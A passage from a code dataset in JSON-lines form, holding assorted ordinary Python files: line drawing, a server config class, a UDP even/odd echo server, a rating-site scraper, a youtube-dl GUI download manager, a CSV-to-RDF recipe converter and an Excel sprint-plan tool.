algorithmType == \"dual\":\n clf = svm.SVC(\n kernel=\"rbf\",\n gamma=kwargs[\"gamma\"],\n C=kwargs[\"C\"])\n\n clf.fit(S, yS)\n z[i] = 1 - clf.score(T, yForT)\n return z","sub_path":"scripts/kfoldcv.py","file_name":"kfoldcv.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"229228202","text":"from grid import Grid\nfrom matrix import Matrix\nfrom pixel import Pixel\n\n# Draw Lines Function\ndef draw_lines(grid, matrix):\n end = len( matrix.matrix )\n i = 0\n\n while ( i < end ):\n draw_line(grid,\n matrix.matrix[i][0],\n matrix.matrix[i][1],\n matrix.matrix[i + 1][0],\n matrix.matrix[i + 1][1],\n matrix.matrix[i + 2])\n\n i += 3\n\n# Draw Line Function\ndef draw_line(grid, x0, y0, x1, y1, pixel):\n # Intial Computations\n delta_x = 1.0 * (x1 - x0) # Ensure Floating Point\n delta_y = 1.0 * (y1 - y0) # Ensure Floating Point\n\n # When Delta X is NOT 0\n if (delta_x != 0):\n slope = 1.0 * (delta_y / delta_x) # Ensure Floating Point\n else:\n draw_line_deltax_zero(grid, x0, y0, x1, y1, pixel)\n return\n\n # When Delta Y is 0\n if (delta_y == 0):\n draw_line_deltay_zero(grid, x0, y0, x1, y1, pixel)\n return\n\n A = 2 * delta_y\n B = -2 * delta_x\n x = x0\n y = y0\n\n # NOTE: Sorry for the weird commenting (conditons) :(\n # I usually comment above the \"if\" or \"elif\"\n # However, tabbing breaks if I try to put a comment on the line\n # before the \"elif\" :'(\n # (I have no idea why...)\n\n if ( (slope > 0) and (slope <= 1) ):\n # Octants 1 and 5\n # Condtion(s): 0 < slope <= 1\n\n diff = A + (B / 2) # Difference\n\n while ( x <= x1 ):\n grid.plot(x, y, pixel)\n\n if ( diff > 0 ):\n y += 1\n diff += B\n\n x += 1\n diff += A\n elif ( slope > 1 ):\n # Octants 2 and 6\n # Condition(s): 1 < slope < infinity\n\n diff = (A / 2) + B # Difference\n\n while ( y <= y1 ):\n grid.plot(x, y, pixel)\n\n if ( diff < 0 ):\n x += 1\n diff += A\n\n y += 1\n diff += B\n elif ( slope < -1 ):\n # Octants 3 and 7\n # Condition(s): -infinity < slope < -1\n\n diff = (A / 2) - B # Difference\n\n while ( y >= y1 ):\n grid.plot(x, y, pixel)\n\n if ( diff > 0 ):\n x += 1\n diff += A\n\n y -= 1\n diff -= B\n else:\n # Everything Else (Octants 4 and 8)\n\n diff = A - (B / 2) # Difference\n\n while ( x <= x1 ):\n grid.plot(x, y, pixel)\n\n if ( diff < 0 ):\n y -= 1\n diff -= B\n\n x += 1\n diff += A\n\n# Draw Line (When Delta X = 0)\ndef draw_line_deltax_zero(grid, x0, y0, x1, y1, pixel):\n # Initial Variables\n x = x0\n y = y0\n\n # Reverse if y1 < y0\n if (y1 < y0):\n draw_line_deltax_zero(grid, x1, y1, x0, y0, pixel)\n return\n\n # Draw the Line\n while (y <= y1):\n grid.plot(x, y, pixel)\n\n y += 1\n\n# Drawl Line (When Delta Y = 0)\ndef draw_line_deltay_zero(grid, x0, y0, x1, y1, pixel):\n # Initial Variables\n x = x0\n y = y0\n\n # Reverse if x1 < x0\n if (x1 < x0):\n draw_line_deltay_zero(grid, x1, y1, x0, y0, pixel)\n return\n\n # Draw the Line\n while (x <= x1):\n grid.plot(x, y, pixel)\n\n x += 1\n","sub_path":"graphics/transformations/4/norman_li/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"324373343","text":"\"\"\"\r\nZach Vincent 2019\r\nAdam's Crossword Program\r\nLast updated 03/22/19\r\nv1.0\r\nFuture updates: Save matched pairs to an array and remove one of a pair that appears twice\r\n\"\"\"\r\nimport sys\r\n\r\nx, user_input_first_letter, user_input_second_letter = sys.argv\r\nwords = ['aaron', 'baron', 'packer', 'packed', 'packers', 'xkhd', 'xkhc']\r\ntemp_word_index = 0\r\ntemp_new_searchable_word = ''\r\ntemp_selected_word_index = 0\r\ntemp_selected_word = ''\r\npossible_words = []\r\n\r\ndef search_found_letter(selected_letter, unselected_letter, selected_index, selected_word):\r\n\tfor other_word in words:\r\n\t\ttemp_word_index = words.index(other_word)\r\n\t\ttemp_selected_word_index = words.index(selected_word)\r\n\t\ttemp_new_searchable_word = words[temp_word_index][:selected_index] + words[temp_word_index][selected_index+1:]\r\n\t\ttemp_selected_word = words[temp_selected_word_index][:selected_index] + words[temp_selected_word_index][selected_index+1:]\r\n\r\n\t\tif (len(words[temp_word_index]) == len(selected_word)):\r\n\t\t\tif (words[temp_word_index][selected_index] == unselected_letter):\r\n\t\t\t\tif (selected_word == other_word):\r\n\t\t\t\t\tbreak\r\n\t\t\t\telif (temp_selected_word == temp_new_searchable_word):\r\n\t\t\t\t\tprint(selected_word + ' ==> ' + other_word)\r\n\t\t\t\r\n\r\ndef find_usable_words(first_letter, second_letter):\r\n\tfor word in words:\r\n\t\tindex = 0\r\n\t\tfor letter in word:\r\n\t\t\tif (letter == first_letter):\r\n\t\t\t\tsearch_found_letter(first_letter, second_letter, index, word)\r\n\t\t\t\tindex += 1\r\n\t\t\telif (letter == second_letter):\r\n\t\t\t\tsearch_found_letter(second_letter, first_letter, index, word)\r\n\t\t\t\tindex += 1\r\n\t\t\telse:\r\n\t\t\t\tindex += 1\r\n\r\nfind_usable_words(user_input_first_letter, user_input_second_letter)","sub_path":"AdamsCrosswordProgram_FUNCTIONAL.py","file_name":"AdamsCrosswordProgram_FUNCTIONAL.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"370832102","text":"import json\n\n''' This class takes path to config file and creates ConfConfig\nobject, has useful methods for retrieving some information about\nvhosts and ip/port tuples\n'''\n\n\nclass Config:\n \"\"\" Initialize config object and json data\n in dictionary\n \"\"\"\n\n def __init__(self, config_file_path):\n\n with open(config_file_path) as data_file:\n self.data = json.load(data_file)\n\n # keep log path\n self.log = self.data[\"log\"]\n\n # keep all vhost objects identified by\n # (ip,port) tuple key\n self.virtual_hosts = {}\n\n # keep all ip,port tuples\n self.ip_ports = list()\n\n for vhost in self.data[\"server\"]:\n ip = str(vhost[\"ip\"])\n port = str(vhost[\"port\"])\n self.ip_ports.append((ip, port))\n if ip + \":\" + port not in self.virtual_hosts:\n self.virtual_hosts[ip + \":\" + port] = list()\n self.virtual_hosts[ip + \":\" + port].append(vhost)\n\n # make unique ip,port tuples\n self.ip_ports = list(set(self.ip_ports))\n\n ''' Returns path to log directory '''\n\n def get_log(self):\n return self.log\n\n ''' returns ip,port,vhost,logfile parameters for specific\n ip/port tuples\n '''\n\n def get_vhost(self, ip, port):\n return (self.virtual_hosts[str(ip) + \":\" + str(port)])\n\n ''' return all vhost names this server has '''\n\n def get_vhost_names(self):\n result = list()\n for key in self.virtual_hosts:\n vhost_list = self.virtual_hosts[key]\n for vhost in vhost_list:\n if \"vhost\" in vhost:\n result.append(vhost[\"vhost\"])\n result = list(set(result))\n\n return result\n\n ''' this method return all distinct ip,port tuples'''\n\n def get_ip_ports(self):\n return self.ip_ports\n\n ''' this method returns vhost body by indicating ip, port and domain name '''\n\n def get_domain_vhost(self, ip, port, host):\n\n # get list of vhost bodies by ip,port\n vhosts = self.get_vhost(ip, port)\n\n # choose the one with host domain name from this list\n for vhost in vhosts:\n if vhost[\"vhost\"] == host:\n return vhost\n\n # if nothing was found\n return None\n\n ''' this method takes vhost name and checks if server owns this host '''\n def vhost_exists(self, vhost):\n lst = self.get_vhost_names()\n\n return vhost in lst","sub_path":"HTTP Server/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"155238578","text":"bind = '0.0.0.0:5000'\n# worker type. comment out to use async gevent instead of the default sync\n#worker_class = 'gevent'\naccess_log_format = '\"%({x-real-ip}i)s\" %(l)s %(u)s %(t)s \"%(r)s\" %(s)s %(b)s \"%(f)s\" \"%(a)s\"'\naccesslog = '/var/log/proxy/proxy.access.log'\nerrorlog = '/var/log/proxy/proxy.error.log'\nloglevel = 'warning'\ntimeout = 120\ngraceful_timeout = 90\nlimit_request_line = 8096\n","sub_path":"docker_files/gunicorn.py","file_name":"gunicorn.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"316109273","text":"import socket\n\nMAXBYTES = 65535\n\n\ndef main():\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sock.bind(('127.0.0.1', 50000))\n while True:\n data, address = sock.recvfrom(MAXBYTES)\n new_data = data.decode()\n n = int(new_data) % 2\n if n == 0:\n new_data = 'Par'\n else:\n new_data = 'Impar'\n sock.sendto(new_data.encode(), address)\n sock.close()\n return 0\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Servidor_echo_exe_02.py","file_name":"Servidor_echo_exe_02.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"1788522","text":"from bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nimport os\n\nfor i in range(1, 37):\n pageUrl = 'http://rating.chgk.info/api/teams/?page='+str(i)\n r = requests.get(pageUrl)\n \n with open('F:\\\\test5.xml', 'w') as output_file:\n output_file.write(r.text)\n\n lines = []\n with open('F:\\\\test5.xml', 'r+') as f:\n lines = f.readlines()\n\n IDTeamList = []\n teamNameList = []\n teamTownList = []\n regionNameList = []\n countryNameList = []\n\n for line in lines:\n if(line.startswith(' \"idteam\": \"')):\n print(line[len(' \"idteam\": \"'):-3])\n IDTeamList.append(line[len(' \"idteam\": \"'):-3])\n continue\n if(line.startswith(' \"town\": \"')):\n print(line[len(' \"town\": \"'):-3])\n teamTownList.append(line[len(' \"town\": \"'):-3])\n continue\n if(line.startswith(' \"name\": \"')):\n print(line[len(' \"name\": \"'):-3])\n teamNameList.append(line[len(' \"name\": \"'):-3])\n continue\n if(line.startswith(' \"region_name\": \"')):\n print(line[len(' \"region_name\": \"'):-3])\n regionNameList.append(line[len(' \"region_name\": \"'):-3])\n continue\n if(line.startswith(' \"country_name\": \"')):\n print(line[len(' \"country_name\": \"'):-2])\n countryNameList.append(line[len(' \"country_name\": \"'):-2])\n continue\n \n data = {'IdTeam' : IDTeamList,\n 'Name': teamNameList,\n 'Town': teamTownList,\n 'Region name': regionNameList,\n 'Country name': countryNameList}\n \n dataFrame = pd.DataFrame(data = data)\n dataFrame.set_index('IdTeam', drop=True, inplace=True)\n\n filePath = 'F:\\\\teams.csv'\n if not os.path.isfile(filePath):\n dataFrame.to_csv(filePath, sep='\\t', encoding='utf-16')\n else:\n dataFrame.to_csv(filePath, encoding='utf-16', mode='a', sep='\\t', header=False)\n","sub_path":"_0. DWH/Projects/Viktoriya_Gruzitskaya/dwso/sources/scripts for data extract/TeamParser.py","file_name":"TeamParser.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"339720031","text":"#!/usr/bin/env python2\n\n''' Youtube-dlG module to download videos & handle each download. '''\n\nimport time\nfrom threading import Thread\n\nfrom wx import CallAfter\nfrom wx.lib.pubsub import setuparg1\nfrom wx.lib.pubsub import pub as Publisher\n\nfrom .OptionsParser import OptionsParser\nfrom .DownloadObject import DownloadObject\n\nfrom .utils import (\n get_youtubedl_filename,\n fix_path\n)\n\n\nclass DownloadManager(Thread):\n\n '''\n Manage youtube-dlG download list.\n\n Params\n threads_list: Python list that contains DownloadThread objects.\n\n update_thread: UpdateThread.py thread.\n \n Accessible Methods\n close()\n Params: None\n\n Return: None\n\n add_thread()\n Params: DownloadThread object\n\n Return: None\n\n alive_threads()\n Params: None\n\n Return: Number of alive threads.\n\n not_finished()\n Params: None\n\n Return: Number of threads not finished yet.\n\n Properties\n successful_downloads: Number of successful downloads.\n time: Time (seconds) it took for all downloads to complete.\n '''\n\n PUBLISHER_TOPIC = 'dlmanager'\n MAX_DOWNLOAD_THREADS = 3\n\n def __init__(self, threads_list, update_thread=None):\n super(DownloadManager, self).__init__()\n self.threads_list = threads_list\n self.update_thread = update_thread\n self._successful_downloads = 0\n self._running = True\n self._time = 0\n self.start()\n\n def run(self):\n if self.update_thread is not None:\n self.update_thread.join()\n \n self._time = time.time()\n\n # Main loop\n while self._running and not self._threads_finished():\n for thread in self.threads_list:\n if not self._running:\n break\n\n self._start_thread(thread)\n \n time.sleep(0.1)\n\n # Make sure no child thread is alive\n for thread in self.threads_list:\n if thread.is_alive():\n thread.join()\n\n # Collect thread status\n if thread.status == 0:\n self._successful_downloads += 1\n\n self._time = time.time() - self._time\n\n if not self._running:\n self._callafter('closed')\n else:\n self._callafter('finished')\n\n @property\n def time(self):\n ''' Return time it took for every download to finish. '''\n return self._time\n\n @property\n def successful_downloads(self):\n ''' Return number of successful downloads. '''\n return self._successful_downloads\n\n def close(self):\n ''' Close DownloadManager. '''\n self._callafter('closing')\n self._running = False\n for thread in self.threads_list:\n thread.close()\n\n def add_thread(self, thread):\n ''' Add new DownloadThread on self.threads_list. '''\n self.threads_list.append(thread)\n\n def alive_threads(self):\n ''' Return number of alive threads in self.threads_list. '''\n counter = 0\n\n for thread in self.threads_list:\n if thread.is_alive():\n counter += 1\n\n return counter\n\n def not_finished(self):\n ''' Return number of threads not finished. '''\n counter = 0\n\n for thread in self.threads_list:\n if thread.ident is None or thread.is_alive():\n counter += 1\n\n return counter\n\n def _start_thread(self, thread):\n ''' Start given thread if not download queue full. '''\n while self.alive_threads() >= self.MAX_DOWNLOAD_THREADS:\n time.sleep(1)\n\n if not self._running:\n break\n\n # If thread has not started\n if thread.ident is None and self._running:\n thread.start()\n\n def _threads_finished(self):\n ''' Return True if all threads in self.threads_list have finished. '''\n for thread in self.threads_list:\n # If thread has not started or thread is alive\n if thread.ident is None or thread.is_alive():\n return False\n\n return True\n\n def _callafter(self, data):\n ''' CallAfter wrapper. '''\n CallAfter(Publisher.sendMessage, self.PUBLISHER_TOPIC, data)\n\n\nclass DownloadThread(Thread):\n\n '''\n DownloadObject Thread wrapper for youtube-dlg.\n\n Params\n url: Video url to download.\n index: ListCtrl corresponding row for current thread.\n opt_manager: OptionsManager.OptionsManager object.\n log_manager: Any logger which implements log().\n\n Accessible Methods\n close()\n Params: None\n\n Return: None\n\n Properties\n status: Thread status.\n '''\n\n PUBLISHER_TOPIC = 'dlthread'\n\n def __init__(self, url, index, opt_manager, log_manager=None):\n super(DownloadThread, self).__init__()\n self.url = url\n self.index = index\n self.opt_manager = opt_manager\n self.log_manager = log_manager\n self._downloader = None\n self._status = 0\n\n def run(self):\n self._downloader = DownloadObject(\n self._get_youtubedl_path(),\n self._data_hook,\n self.log_manager\n )\n\n options = OptionsParser(self.opt_manager).parse()\n\n return_code = self._downloader.download(self.url, options)\n\n if return_code == DownloadObject.OK:\n self._callafter({'status': 'Finished'})\n elif return_code == DownloadObject.ERROR:\n self._callafter({'status': 'Error', 'speed': '', 'eta': ''})\n self._status = 1\n elif return_code == DownloadObject.STOPPED:\n self._callafter({'status': 'Stopped', 'speed': '', 'eta': ''})\n self._status = 1\n elif return_code == DownloadObject.ALREADY:\n self._callafter({'status': 'Already-Downloaded'})\n\n @property\n def status(self):\n ''' Return thread status. Use this property after\n thread has joined. (self._status != 0) indicates there was\n an error.\n '''\n return self._status\n\n def close(self):\n ''' Close download thread. '''\n if self._downloader is not None:\n self._downloader.stop()\n\n def _data_hook(self, data):\n ''' Merge playlist_info with data['status'] and\n pass data to self._callafter.\n '''\n playlist_info = ''\n\n if data['playlist_index'] is not None:\n playlist_info = data['playlist_index']\n playlist_info += '/'\n playlist_info += data['playlist_size']\n\n if data['status'] is not None:\n data['status'] = data['status'] + ' ' + playlist_info\n\n self._callafter(data)\n\n def _callafter(self, data):\n ''' Add self.index on data and send data back to caller. '''\n data['index'] = self.index\n CallAfter(Publisher.sendMessage, self.PUBLISHER_TOPIC, data)\n\n def _get_youtubedl_path(self):\n ''' Retrieve youtube-dl path. '''\n path = self.opt_manager.options['youtubedl_path']\n path = fix_path(path) + get_youtubedl_filename()\n return path\n","sub_path":"youtube_dl_gui/DownloadThread.py","file_name":"DownloadThread.py","file_ext":"py","file_size_in_byte":7191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"137777724","text":"import unittest\r\n\r\nclass Validator:\r\n\tdef __init__(self,validation_dictionary):\r\n\t\t\"\"\"\r\n\t\tconstructor set validation specifications\r\n\t\t\"\"\"\r\n\t\tself.__validation_dictionary=validation_dictionary\r\n\t\t\r\n\tdef validate(self,record):\r\n\t\t\"\"\"\r\n\t\tcheck if content of record is in the specification format\r\n\t\trecord -- input data to validate\r\n\t\t\"\"\"\r\n\t\t\r\n\t\tif type(record) != type(self.__validation_dictionary):\r\n\t\t\treturn False\r\n\t\t\t\r\n\t\tfor key in self.__validation_dictionary.keys():\r\n\t\t\tif self.__validation_dictionary[key]!=None:\r\n\t\t\t\tif len(record[key])!= self.__validation_dictionary[key]:\r\n\t\t\t\t\treturn False\t\t\t\r\n\t\t\telse:\t\r\n\t\t\t\tif record[key]=='':\r\n\t\t\t\t\treturn False\r\n\t\treturn True\r\n\t\r\n\r\nclass Test(unittest.TestCase):\t\t\r\n\tdef test_Validator(self):\r\n\t\t\"\"\"\r\n\t\tunittest for validator class test coverage \r\n\t\t\"\"\"\r\n\t\tselected_fields_validation={'CMTE_ID': None,'NAME': None,'ZIP_CODE':5,'TRANSACTION_DT':4,'TRANSACTION_AMT':None,'OTHER_ID': 0}\r\n\t\tvalidator=Validator(selected_fields_validation)\r\n\t\t\r\n\t\t#record has different data type of specifications \r\n\t\trecord=0\r\n\t\tself.assertFalse(validator.validate(record))\r\n\r\n\t\trecord=''\r\n\t\tself.assertFalse(validator.validate(record))\r\n\t\t\r\n\t\t#empty dictionary\r\n\t\trecord={}\r\n\t\tself.assertFalse(validator.validate(record))\r\n\r\n\t\t#different format\r\n\t\trecord={'x':0,'y':1}\r\n\t\tself.assertFalse(validator.validate(record))\r\n\t\t\r\n\t\t#dictionary with missing keys \r\n\t\trecord={'CMTE_ID': 'C00384818','ZIP_CODE':'23529','TRANSACTION_DT':'2018','TRANSACTION_AMT':'333','OTHER_ID': ''}\r\n\t\tself.assertFalse(validator.validate(record))\r\n\t\t\r\n\t\t#record has ZIP_CODE of size less than cofiguration specifications \r\n\t\trecord={'CMTE_ID': 'C00384818','NAME': 'Wessam','ZIP_CODE':'3529','TRANSACTION_DT':'2018','TRANSACTION_AMT':'333','OTHER_ID': ''}\r\n\t\tself.assertFalse(validator.validate(record))\r\n\t\t\r\n\t\t#record has ZIP_CODE of size less than cofiguration specifications \r\n\t\trecord={'CMTE_ID': 'C00384818','NAME': 'Wessam','ZIP_CODE':'3529','TRANSACTION_DT':'2018','TRANSACTION_AMT':'333','OTHER_ID': ''}\r\n\t\tself.assertFalse(validator.validate(record))\r\n\r\n\t\t#record in format \r\n\t\trecord={'CMTE_ID': 'C00384818','NAME': 'Wessam','ZIP_CODE':'23529','TRANSACTION_DT':'2018','TRANSACTION_AMT':'333','OTHER_ID': ''}\r\n\t\tself.assertTrue(validator.validate(record))\r\n\t\r\nif __name__==\"__main__\":\r\n\tunittest.main()\r\n\t\t\t\t","sub_path":"insight_testsuite/temp/src/Analytic/Validator/Validator.py","file_name":"Validator.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"111790511","text":"from rdflib import Graph, Literal, Namespace, URIRef\nfrom rdflib.namespace import RDF, FOAF, RDFS, OWL\nimport pandas as pd\n\ng = Graph()\nex = Namespace(\"http://example.org/\")\nRecipe = Namespace(\"http://schema.org/Recipe/\")\n\ng.bind(\"ex\", ex)\ng.bind(\"recipe\", Recipe)\n\n#Read data\ncsv_data = pd.read_csv(\"recipes.csv\")\n\n#Replace quotations\ncsv_data = csv_data.replace(to_replace='\"', value=\"\", regex=True) \n\n#Replace commas\ncsv_data = csv_data.replace(to_replace=\",\", value=\"\", regex=True) \n\n#Replace space with underscore\ncsv_data[\"Title\"] = csv_data[\"Title\"].replace(to_replace=\" \", value=\"_\", regex=True) \n\n#Replace underscore with space for column Directions\n#csv_data[\"Directions\"] = csv_data[\"Directions\"].replace(to_replace=\"_\", value=\" \", regex=True) \n\n#Fill empty cells with unknown\ncsv_data = csv_data.fillna(\"unknown\")\n\n#Add ingredient-, quantity-, and unitstring to list \ningredientList = []\nquantityList = []\nunitList = []\n\nfor i in range(1, 20):\n ingredientList.append(\"Ingredient\" + str(i)) \n quantityList.append(\"Quantity\" + str(i))\n unitList.append(\"Unit\" + str(i))\n\n#1. Title\n#2. Directions\n#3. Quantity01\n#4. Unit01\n#5. Ingredient01\n#6. Quantity02\n#7. Unit02\n#8. Ingredient02\n# ...\n#20. Category\n\n\n#TODO \n#Place the values into approptriate RDF literals (replace ex)\n\n# RECIPE SETUP:\n# Give title an appropriate namespace (Recipe or such)\n# Give each ingredient in the recipe its own node (Ingredient has a literal)\n# Place quantity and unit in the ingredient node (Give them each literals)\n\n#Example (Usage pf schema.org/Recipe):\n# name:Zucchi Patties\n# recipeIngredient: 1 garlic clove\n# recipeIngredient: 1 tablespoon parmesan cheese\n# recipeInstructions: description of recipe\n\n#Example: \n#g.add((ex.Zucchi_Patties, RDF.type, Thing.name))\n#g.add((ex.Zucchi_Patties, Recipe.recipeIngredient, Literal(\"1 garlic clove\")))\n\n#Adding ingredient, quantity and unit to one same node \ndef oneNode(subject, row):\n for i in range(19):\n if (row[ingredientList[i]] != \"unknown\"):\n if (row[quantityList[i]] != \"unknown\"):\n if (row[unitList[i]] != \"unknown\"):\n g.add((URIRef(ex + subject), URIRef(Recipe.recipeIngredient), \n Literal(row[quantityList[i]] + \" \" + row[unitList[i]] + \" \" + row[ingredientList[i]])))\n else:\n g.add((URIRef(ex + subject), URIRef(Recipe.recipeIngredient), \n Literal(row[quantityList[i]] + \" \" + row[ingredientList[i]])))\n\n#Adding ingredient to one node, and unit and quantity to another node\ndef twoNodes(subject, row):\n for i in range(0, 19): \n if (row[ingredientList[i]] != \"unknown\"):\n g.add((URIRef(ex + subject), URIRef(Recipe.recipeIngredient), Literal(row[ingredientList[i]])))\n \n if (row[quantityList[i]] != \"unknown\"):\n if (row[unitList[i]] != \"unknown\"):\n g.add((URIRef(ex + subject), URIRef(ex + \"quantity\"), Literal(row[quantityList[i]] + \" \" + row[unitList[i]])))\n else:\n g.add((URIRef(ex + subject), URIRef(ex + \"quantity\"), Literal(row[quantityList[i]])))\n\n#Adding all of them to three different nodes \ndef threeNodes(subject, row):\n for i in range(0, 19): \n if (row[ingredientList[i]] != \"unknown\"):\n g.add((URIRef(ex + subject), URIRef(Recipe.recipeIngredient), Literal(row[ingredientList[i]])))\n \n if (row[quantityList[i]] != \"unknown\"):\n g.add((URIRef(ex + subject), URIRef(ex + \"quantity\"), Literal(row[quantityList[i]])))\n if (row[unitList[i]] != \"unknown\"):\n g.add((URIRef(ex + subject), URIRef(ex + \"quantity\"), Literal(row[unitList[i]])))\n\n\nfor index, row in csv_data.iterrows():\n subject = row[\"Title\"]\n\n #g.add((URIRef(ex + subject), URIRef(ex + \"title\"), Literal(subject)))\n\n #g.add((URIRef(ex + subject), URIRef(ex + \"directions\"), Literal(row[\"Directions\"])))\n\n g.add((URIRef(ex + subject), RDF.type, Recipe.name))\n\n g.add((URIRef(ex + subject), Recipe.recipeInstructions, Literal(row[\"Directions\"])))\n\n oneNode(subject, row)\n\n#Remove nodes marked unknown \ng.remove((None, None, URIRef(\"http://example.org/unknown\")))\n\n# Writing the graph to a file on your system. Possible formats = turtle, n3, xml, nt.\ng.serialize(destination=\"recipe_triples.txt\", format=\"turtle\")\n\nprint(g.serialize(format=\"turtle\").decode())\n\n\n\n","sub_path":"python/csv_to_rdf.py","file_name":"csv_to_rdf.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"215041105","text":"f = open('./input/rosalind_gc.txt', 'r')\n\nd={}\nfirst=True\n\nfor line in f:\n if line[0]=='>':\n if not(first):\n d[s]=t\n first=False\n s=line[1:-1]\n t=''\n else:\n t+=line.strip()\nd[s]=t\n\nmaxi=0.\n\ndef comp(s):\n return (s.count('C')+s.count('G'))/float(len(s))\n\nfor k in d:\n if comp(d[k])>maxi:\n maxi=comp(d[k])\n res=k\n\nprint('%s\\n%f%%' % (res, maxi*100))\n\n","sub_path":"Rosalind/AC/GC.py","file_name":"GC.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"145059699","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom openpyxl import Workbook\nfrom openpyxl import load_workbook\nfrom tkinter import messagebox\nimport openpyxl\nimport tkinter\nfrom tkinter import *\nimport os\nimport win32com.client as win32\npath_of_file = os.path.dirname(__file__)\nnew_path = os.path.dirname(os.path.abspath(__file__))\nprint(path_of_file)\ncurrent_path = os.getcwd()\n\nwindow = tk.Tk()\nwindow.geometry('800x400')\nwindow.title(\"Automation Sprint Plan Generator\")\n#########################################################################################################\nframe_1 = ttk.Frame()\nlb1 = ttk.Label(master=frame_1,\n text=\"Follow Below Steps to Generate Automaion Sprint Plan\", foreground=\"white\", background=\"black\")\n# , foreground=\"white\", background=\"black\"\nlb1.pack()\n# l.grid(column=0, row=0)\nlb2 = ttk.Label(master=frame_1, relief=RAISED,\n text=\"S1.Will extract all test cases and Planned Test cases for each platform from Sprint Plan workook to a new Temp workook.\", background=\"#2F4F4F\", foreground=\"white\")\n# lb2.config(anchor=LEFT)\nlb2.pack()\n#lb2.place(x=0, y=20)\n# lb2.place(anchor=E)\n# frame_1.pack()\n# l1.grid(column=0, row=1)\n# , background=\"#2F4F4F\"\n\n#######################################################################################################\nframe_2 = ttk.Frame()\nlb3 = ttk.Label(master=frame_2, text=\"Enter the Name of Sprint Plan Worbook\")\nlb3.grid(column=0, row=0)\n# lbl.pack()\nplan_workook = ttk.Entry(master=frame_2, width=40)\nplan_workook.grid(column=1, row=0)\n# plan_workook.pack()\nlb4 = ttk.Label(\n master=frame_2, text=\"Enter Some Random Temp workbook name eg:Veera.xlsx format\")\nlb4.grid(column=0, row=1)\n# 2.pack()\ntemp = ttk.Entry(master=frame_2, width=40)\ntemp.grid(column=1, row=1)\n# temp.pack()\n\n########################################################\n#Will exract all tcs into temp sheet\n#####################################################\ndef testcases():\n wb1 = openpyxl.Workbook()\n wb1.save(filename=current_path + \"\\\\\" + temp.get())\n wb = load_workbook(\n filename=current_path + \"\\\\\" + plan_workook.get())\n plan = wb[\"Automation\"]\n new_sheet = wb1.create_sheet(\"Testcases with Compoent\")\n new_sheet[\"A1\"] = \"Test Script ID\"\n new_sheet[\"B1\"] = \"Component\"\n cur_automation_row = 2\n new_sheet_row = 2\n automation_rows = plan.max_row\n while cur_automation_row <= automation_rows:\n component = plan.cell(row=cur_automation_row, column=7).value\n test_script_id = plan.cell(row=cur_automation_row, column=6).value\n if type(test_script_id) == str:\n if test_script_id.find(\",\") >= 0:\n mul_tcs = []\n mul_tcs = test_script_id.split(\",\")\n for each in mul_tcs:\n new_sheet.cell(row=new_sheet_row, column=1).value = each\n new_sheet.cell(row=new_sheet_row,\n column=2).value = component\n new_sheet_row += 1\n else:\n new_sheet.cell(row=new_sheet_row,\n column=1).value = test_script_id\n new_sheet.cell(row=new_sheet_row, column=2).value = component\n new_sheet_row += 1\n cur_automation_row += 1\n wb1.save(filename=current_path + \"\\\\\" +\n temp.get())\n\n###########################################################################\n#Will extract planned TCs across all platforms\n##########################################################################\ndef extract():\n # print(txt.get(), txt1.get())\n testcases()\n #wb1 = openpyxl.Workbook()\n wb1 = load_workbook(filename=current_path + \"\\\\\" + temp.get())\n wb = load_workbook(\n filename=current_path + \"\\\\\" + plan_workook.get())\n # s1=wb.active\n # print(s1)\n print(wb.sheetnames)\n plan = wb[\"Automation\"]\n for row in plan.iter_rows(max_row=1, values_only=True):\n fr = row\n fr = list(fr)\n start = fr.index(\"AXB6\")\n end = start+8\n for platform in range(start, end):\n print(fr[platform])\n for col in plan.iter_cols(min_col=platform+1, max_col=platform+1, values_only=True):\n planned = col\n # print(planned)\n planned = planned[1:]\n new_sheet = wb1.create_sheet(fr[platform])\n new_sheet[\"A1\"] = \"Test Script ID\"\n new_row = 2\n old_row = 1\n for i in planned:\n if i == \"Yes\" or i == \"Planned\":\n # print(plan.cell(row=old_row+1,column=6).value)\n if type(plan.cell(row=old_row+1, column=6).value) == str:\n new_sheet.cell(row=new_row, column=1).value = plan.cell(\n row=old_row+1, column=6).value\n new_row += 1\n old_row += 1\n wb1.save(filename=current_path + \"\\\\\" +\n temp.get())\n\n messagebox.showinfo('Message title', 'Succesfully done S1')\n\n#####################################################################################################\n\n\nframe_3 = ttk.Frame()\nbtn1 = ttk.Button(master=frame_3, text=\"Proceed1\",\n command=extract)\nbtn1.pack()\n\n\nlb5 = ttk.Label(master=frame_3, relief=RAISED, justify=LEFT,\n text=\"S2.Will make sure that each cell has only one Test Case and Removes Dulpicates platform wise in temp workook.\", foreground=\"white\", background=\"#2F4F4F\")\nlb5.pack()\n\n\ndef Remove_Dup():\n wb = load_workbook(filename=current_path + \"\\\\\" +\n temp.get())\n sheets = 